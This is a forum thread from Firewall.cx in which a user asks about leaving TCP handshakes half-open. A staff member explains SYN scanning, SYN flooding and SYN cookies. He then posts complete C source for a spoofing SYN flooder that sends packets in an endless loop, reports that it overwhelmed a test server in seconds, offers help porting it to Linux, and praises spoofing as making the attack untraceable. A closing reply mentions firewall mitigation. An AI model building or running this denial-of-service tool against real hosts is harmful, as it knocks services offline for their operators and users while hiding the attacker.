Skip to main content

TCP/IP Question

More
20 years 3 months ago #4924 by FallenZer0
TCP/IP Question was created by FallenZer0
Let's just open our wings of Imagination. I'm just making up the below scenario, while reading the OSI/DoD Model and thought if someone would have any suggestions.

2 hosts, which are about to participate in a 3-way handshake. This is on the Transmitting host. TCP segment gets handed down to L3 to construct an IP Packet. An IP packet is build, with a VALID Source IP and say goes through normal L2 & L1 layers and reaches the Destination. As per the book the SYN flag is set in the Transmitting hosts TCP segment.

Now on the Receiving host, everything goes accordingly and say it sends back a TCP segment with ACK flag set.

Now as per the book, the Receiving host expects an ACK back from the original Transmitting host.

Here comes the Imagination. . . . . .Has anyone designed something programatically or hardware wise to STOP the ACK going back to the Receiving host and say we initiate such umpteen number of requests, what would happen? And is there anything that a network admin on the Receiving host can do to stop mutiple requests from the same Source.

Any Takers.

-There Is A Foolish Corner In The Brain Of The Wisest Man- Aristotle
More
20 years 3 months ago #4926 by sahirh
Replied by sahirh on topic Re: TCP/IP Question
What you're talking about is :
1. SYN from A ----> B
2. SYN/ACK from B ----> A
3. ACK from A
> B

You're talking about skipping step 3. And this is the essence behind both SYN scanning and SYN flooding. It is called a 'half-open connection'. With regard to SYN scanning, if A gets a SYN/ACK back, it knows the port is open, if it gets a RST/ACK back, it knows the port is closed.

Now with regard to SYN flooding, what happens is multiple half open requests to one port... on B, there is a recieve queue, which allocates memory to keep track of each connection, so each SYN will take up some RAM to store the source IP, port etc. What happens is that this RAM keeps getting eaten up, and you can bring a box to its knees. The interesting part is that a dial-up system can bring down a large server. Also, the attack is very difficult to backtrace simply because the attacker on A doesn't need to send a valid source-ip, he can send anything he wants.

This attack can be defeated using a concept called SYN cookies, where the initial sequence number chosen for the SYN ACK reflects the packet details of the initial SYN, along with a secret cryptographic value, thus the server doesnt need to bother about tracking the connection as all the connection state is stored in the packet.. if it gets an ACK back (step 3) it can calculate the valid connection details. The attacker cannot spoof the step 3 ACK, as he doesn't know what the cryptographic value used was.

Diagramatically:

1. SYN
2. SYN/ACK -- ISN represents the packet in (1)
3. ACK -- (Ack # represents (2) and thus (1))

Valid connection.

This will make this a long post, but here is a SYN flooder I threw together in C awhile ago that is surprisingly effective.

Run this under a network sniffer and you will see what kind of traffic it generates. Further more, it spoofs the source IP of the attack.

[code:1]
/************************************************************************************************
Copyright (C) 2004 Sahir Hidayatullah

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

http://www.firewall.cx
Usage: synflood <target ip> <target port>
************************************************************************************************/

#include <winsock2.h>
#include <stdio.h>
#include <ws2tcpip.h>
#include <stdio.h>

SOCKET s;
int *val;
WSADATA wsdata;
int d,value;
unsigned char datagram[4096];
struct sockaddr_in dest;
unsigned short pseudoheader[32];
unsigned char byte1,byte2,byte3,byte4;
unsigned char spoof[7];

unsigned char ttl;
unsigned char srcipaddress[13];
unsigned char destipaddress[13];
unsigned int port;

struct ipheader {
unsigned char ip_hl:4, ip_v:4;
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short int ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
};

struct tcpheader {
unsigned short int th_sport;
unsigned short int th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_x2:4, th_off:4;
unsigned char th_flags;
unsigned short int th_win;
unsigned short int th_sum;
unsigned short int th_urp;
};



void buildpseudo(struct tcpheader *tcph); // This is the guy that builds the TCP header + pseudoheader for checksum calculation

unsigned short checksum(unsigned short *buffer, int size)
{
unsigned long cksum=0;
while(size > 1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size)
cksum += *(unsigned char*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short)(~cksum);
}


int main(int argc, char **argv)
{
struct ipheader *iph = (struct ipheader *) datagram;
struct tcpheader *tcph = (struct tcpheader *) (datagram + 20);

if( argc != 3)
{
printf("Usage : %s <ipaddress> <port>\n",argv[0]);
exit(1);
}

d=WSAStartup(MAKEWORD(2,1),&wsdata);
printf("WSAStartup ... %d\n",d);

port = atoi(argv[2]);
s=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
printf("socket ... %d\n",s);
dest.sin_family=AF_INET;
dest.sin_port=htons(port);
dest.sin_addr.s_addr=inet_addr(argv[1]);

memset (datagram, 0, 4096); // Zero out the datagram buffer just in case (yes I know its global)

/* Fill IP header */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = htons(sizeof (struct ipheader) + sizeof (struct tcpheader));
iph->ip_id = htons (rand());
iph->ip_off = 0;
iph->ip_ttl = 128;
iph->ip_p = 6;
iph->ip_sum = 0;
iph->ip_src = inet_addr (argv[1]);
iph->ip_dst = dest.sin_addr.s_addr;

/* Fill TCP header */
tcph->th_sport = htons(rand()); /* arbitrary port */
tcph->th_dport = htons(port);
tcph->th_seq = htonl(rand());
tcph->th_ack = htonl(2);
tcph->th_x2 = 0;
tcph->th_off = 5;
tcph->th_flags = 0x00000002; /* initial connection request */
tcph->th_win = htons (512);
tcph->th_sum = 0;
tcph->th_urp = 0;


/* Checksum stuff, pay attention */
iph->ip_sum = checksum ((unsigned short *) datagram, 20);
buildpseudo(tcph);
tcph->th_sum = checksum (pseudoheader, 32);


/* Set socket options */
value=1;
val = &value;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (value)) < 0)
printf ("Warning: Cannot set HDRINCL!\n");


/* Start endless loop */
while(1){

/* Constantly regenerate variable values in packet to prevent target filtering them */
/*IP*/
byte1 = (int) 255 * rand() / (RAND_MAX + 1.0);
byte2 = (int) 255 * rand() / (RAND_MAX + 1.0);
byte3 = (int) 255 * rand() / (RAND_MAX + 1.0);
byte4 = (int) 255 * rand() / (RAND_MAX + 1.0);
sprintf(spoof,"%d.%d.%d.%d\0",byte1,byte2,byte3,byte4);
iph->ip_src = inet_addr (spoof); // Setup a new spoofed source address
iph->ip_id = htons (rand()); // randomize the IPID
iph->ip_sum = 0; // Reset checksum to zero
iph->ip_sum = checksum ((unsigned short *) datagram, 20); // Calculate checksum on new packet

/* TCP*/
tcph->th_sport = htons(rand()); // Randomize source port
tcph->th_seq = htonl(rand()); // and sequence number
tcph->th_sum=0; // reset checksum

buildpseudo(tcph);
tcph->th_sum = checksum (pseudoheader, 32); // recalculate checksum


/* Finally send him the damn thing */
if (sendto (s,datagram,40,0,(struct sockaddr *) &dest, sizeof (dest)) < 0)
printf ("error %d\n", WSAGetLastError());
else
printf ("SYN sent from %s\n",spoof);
}
}


void buildpseudo(struct tcpheader *tcph)
{
/* This doesn't strictly calculate the pseudoheader, it calculates TCP header + pseudo header. Its dirty (based on hard coded

offsets), but it works */
int i;
unsigned short seg_length=tcph->th_off*4;
unsigned short temp;
unsigned char *ptr;
ptr = pseudoheader;

/* These statements are based on hard coded offsets of the various fields from the start of the datagram */

memset(pseudoheader,0,32); // Zero out the pseudoheader just in case
memcpy(ptr,datagram+20,20); // Copy in the tcp header
memcpy((ptr+20),datagram+12,4); // Source IP
memcpy((ptr+24),datagram+16,4); // Dest IP
memcpy((ptr+29),datagram+9,1); // 8bit zero + Protocol
memset((ptr+31),20,1); //TCP segment offset * 4

}
[/code:1]

That will compile in Windows for you, and will work on any Windows box which has raw sockets support (not on XP with Service Pack 2).

If you want a *nix version its a simple matter of throwing out the WSA* functions and replacing the Windows headers with Linux headers. Let me know if you need help with this.

Such protocol fun is something that I take an active interest in, and I encourage further discussion on the subject.

Cheers,

Sahir Hidayatullah.
Firewall.cx Staff - Associate Editor & Security Advisor
tftfotw.blogspot.com
More
20 years 3 months ago #4936 by FallenZer0
Replied by FallenZer0 on topic Re: TCP/IP Question

sahirh wrote: This will make this a long post, but here is a SYN flooder I threw together in C awhile ago that is surprisingly effective.

Run this under a network sniffer and you will see what kind of traffic it generates. Further more, it spoofs the source IP of the attack.

If it spoofs the source IP address, isn't that a disadvantage. The reasons are

a]. You do NOT know for sure if the packet reached the destination.
b]. ACK from the Receiving host is in the wild.
c]. One just has to blindly send the packets, hoping you are gonna SYN flood the Receiving host.


Such protocol fun is something that I take an active interest in, and I encourage further discussion on the subject.

Kudos, for your program though.


-There Is A Foolish Corner In The Brain Of The Wisest Man- Aristotle
More
20 years 3 months ago #4938 by sahirh
Replied by sahirh on topic Re: TCP/IP Question
As far as syn flooding is concerned, spoofing the source address is a plus point as it makes the attack virtually untraceable. You will never know if the packet reaches (since you don't see the response). Of course you could trivially modify it to let you see the return packets.. for testing purposes.

You won't be blindly sending the SYN packets, if there is a route from you to the host, these packets will hit the target... not just will they hit it.. they will it hit VERY hard.. there is no timeout between the packet sends, and it runs in an endless while loop... I just threw this down against a W2k box running IIS on my LAN, it overwhelmed it in about 3 seconds...

Sahir Hidayatullah.
Firewall.cx Staff - Associate Editor & Security Advisor
tftfotw.blogspot.com
More
20 years 3 months ago #4940 by FallenZer0
Replied by FallenZer0 on topic Re: TCP/IP Question

sahirh wrote: As far as syn flooding is concerned, spoofing the source address is a plus point as it makes the attack virtually untraceable. You will never know if the packet reaches (since you don't see the response). Of course you could trivially modify it to let you see the return packets.. for testing purposes.

Yes, Agreed, to spoof the source IP to make it difficult for tracing purposes. Why would anyone want to trivially modify to see the return packets for testing purposes? Am I missing something here?


-There Is A Foolish Corner In The Brain Of The Wisest Man- Aristotle
More
20 years 3 months ago #4941 by Chris
Replied by Chris on topic Re: TCP/IP Question
I'd just like to note that most modern firewalls & load balancers today when placed in front of a DMZ zone, will successfully establish a VALID TCP connection and then pass the connection to the web server waiting to serve real clients.

This is yet another way all half-open connections have no effect.

I'll now just run back into my corner :)

Cheers,

Chris Partsenidis.
Founder & Editor-in-Chief
www.Firewall.cx
Time to create page: 0.138 seconds